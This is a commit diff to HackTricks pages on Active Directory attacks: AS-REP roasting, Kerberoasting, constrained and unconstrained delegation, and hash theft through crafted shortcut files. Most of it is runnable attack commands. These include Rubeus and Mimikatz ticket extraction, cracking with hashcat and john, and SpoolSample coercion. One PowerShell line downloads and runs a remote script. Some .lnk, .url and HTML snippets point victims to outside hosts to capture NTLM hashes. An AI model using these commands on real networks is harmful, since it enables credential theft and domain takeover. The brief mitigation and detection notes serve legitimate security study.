GitBook: [#3379] No subject
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@ -50,15 +50,11 @@ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashc
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{% code title="Using Windows" %}
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```bash
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.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
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.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
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Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
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```
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{% endcode %}
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{% hint style="warning" %}
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AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0.
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{% endhint %}
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### Cracking
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```
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@ -1,4 +1,4 @@
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# Constrained Delegation
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<details>
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@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details>
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# Constrained Delegation
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## Constrained Delegation
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Using this a Domain admin can allow 3rd parties to impersonate a user or computer against a service of a machine.
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@ -27,15 +26,15 @@ Using this a Domain admin can allow 3rd parties to impersonate a user or compute
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**Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them.
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This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to the **service configured** (possible **privesc**).\
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Also, you **won't only have access to the service that user is able to impersonate, but also to any service that uses the same account as the allowed one** (because the SPN is not being checked, only privileges). For example, if you have access to **CIFS service** you can also have access to **HOST service**.\
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Also, you **won't only have access to the service that the user is able to impersonate, but also to any service that uses the same account as the allowed one** (because the SPN is not being checked, only privileges). For example, if you have access to **CIFS service** you can also have access to **HOST service**.\
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Moreover, notice that if you have access to **LDAP service on DC**, you will have enough privileges to exploit a **DCSync**.
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{% code title="Enumerate from Powerview" %}
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```bash
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Get-DomainUser -TrustedToAuth
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Get-DomainComputer -TrustedToAuth
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```
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{% endcode %}
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<pre class="language-bash" data-title="Enumeration"><code class="lang-bash"><strong># Powerview
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</strong><strong>Get-DomainUser -TrustedToAuth
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</strong>Get-DomainComputer -TrustedToAuth
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#ADSearch
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ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json</code></pre>
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{% code title="Using kekeo.exe + Mimikatz.exe" %}
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```bash
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@ -63,7 +62,7 @@ Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.
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```
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{% endcode %}
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## Mitigation
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### Mitigation
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* Disable kerberos delegation where possible
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* Limit DA/Admin logins to specific services
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@ -71,7 +70,6 @@ Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.
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[**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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@ -87,5 +85,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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@ -1,4 +1,4 @@
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# Kerberoast
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<details>
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@ -16,7 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details>
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## Kerberoast
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# Kerberoast
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The goal of **Kerberoasting** is to harvest **TGS tickets for services that run on behalf of user accounts** in the AD, not computer accounts. Thus, **part** of these TGS **tickets are** **encrypted** with **keys** derived from user passwords. As a consequence, their credentials could be **cracked offline**.\
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You can know that a **user account** is being used as a **service** because the property **"ServicePrincipalName"** is **not null**.
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@ -49,24 +50,14 @@ Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current f
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{% code title="From Windows" %}
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```bash
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# Powerview
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Request-SPNTicket -SPN "<SPN>" #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
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# Rubeus
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.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
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.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
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# Invoke-Kerberoast
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iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
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Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
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```
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{% endcode %}
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{% hint style="warning" %}
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When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
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{% endhint %}
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### Cracking
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## Cracking
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```
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john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
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@ -74,7 +65,7 @@ hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
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./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
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```
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### Persistence
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## Persistence
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If you have **enough permissions** over a user you can **make it kerberoastable**:
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@ -86,7 +77,7 @@ You can find useful **tools** for **kerberoast** attacks here: [https://github.c
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If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC: `ntpdate <IP of DC>`
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### Mitigation
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## Mitigation
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Kerberoast is very stealthy if exploitable
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@ -107,6 +98,7 @@ Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{
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**More information about Kerberoasting in ired.team in** [**here** ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**and** [**here**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**.**
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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@ -122,3 +114,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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@ -1,4 +1,4 @@
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# Unconstrained Delegation
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<details>
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@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details>
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# Unconstrained delegation
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## Unconstrained delegation
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This a feature that a Domain Administrator can set to any **Computer** inside the domain. Then, anytime a **user logins** onto the Computer, a **copy of the TGT** of that user is going to be **sent inside the TGS** provided by the DC **and saved in memory in LSASS**. So, if you have Administrator privileges on the machine, you will be able to **dump the tickets and impersonate the users** on any machine.
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@ -25,19 +24,25 @@ So if a domain admin logins inside a Computer with "Unconstrained Delegation" fe
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You can **find Computer objects with this attribute** checking if the [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) attribute contains [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx). You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:
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```bash
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<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
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## Powerview
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Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
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#Export tickets with Mimikatz
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privilege::debug
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<strong>## ADSearch
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</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
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<strong># Export tickets with Mimikatz
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</strong>privilege::debug
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sekurlsa::tickets /export #Recommended way
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kerberos::list /export #Another way
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```
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# Monitor logins and export new tickets
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.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
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Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**\
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More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
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[**More information about Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
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## **Automatically compromising a Print server**
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### **Automatically compromising a Print server**
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If an attacker is able to **compromise a computer allowed for "Unconstrained Delegation"**, he could **trick** a **Print server** to **automatically login** against it **saving a TGT** in the memory of the server.\
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Then, the attacker could perform a **Pass the Ticket attack to impersonate** the user Print server computer account.
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@ -45,18 +50,17 @@ Then, the attacker could perform a **Pass the Ticket attack to impersonate** the
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To make a print server login against any machine you can use [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
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```bash
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.\SpoolSample.exe printmachine unconstrinedmachine
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.\SpoolSample.exe <printmachine> <unconstrinedmachine>
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```
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If the TGT if from a domain controller, you could perform a[ **DCSync attack**](acl-persistence-abuse.md#dcsync) and obtain all the hashes from the DC.\
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[**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
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## Mitigation
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### Mitigation
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* Limit DA/Admin logins to specific services
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* Set "Account is sensitive and cannot be delegated" for privileged accounts.
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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@ -72,5 +76,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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@ -237,7 +237,7 @@ IconIndex=1337
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We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory.
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```
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```powershell
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Set shl = CreateObject("WScript.Shell")
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Set fso = CreateObject("Scripting.FileSystemObject")
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currentFolder = shl.CurrentDirectory
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@ -254,7 +254,7 @@ sc.Save
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The Powershell version.
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```
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```powershell
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$objShell = New-Object -ComObject WScript.Shell
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$lnk = $objShell.CreateShortcut("StealMyHashes.lnk")
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$lnk.TargetPath = "\\35.164.153.224\@OsandaMalith"
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@ -269,7 +269,7 @@ $lnk.Save()
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Another shortcut in Windows is the Internet shortcuts. You can save this as something.url
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```
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```bash
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echo [InternetShortcut] > stealMyHashes.url
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echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url
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```
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@ -301,7 +301,7 @@ Start-Process \\192.168.0.1\aa
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IE will resolve UNC paths. For example
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```
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```html
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<img src="\\\\192.168.0.1\\aa">
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```
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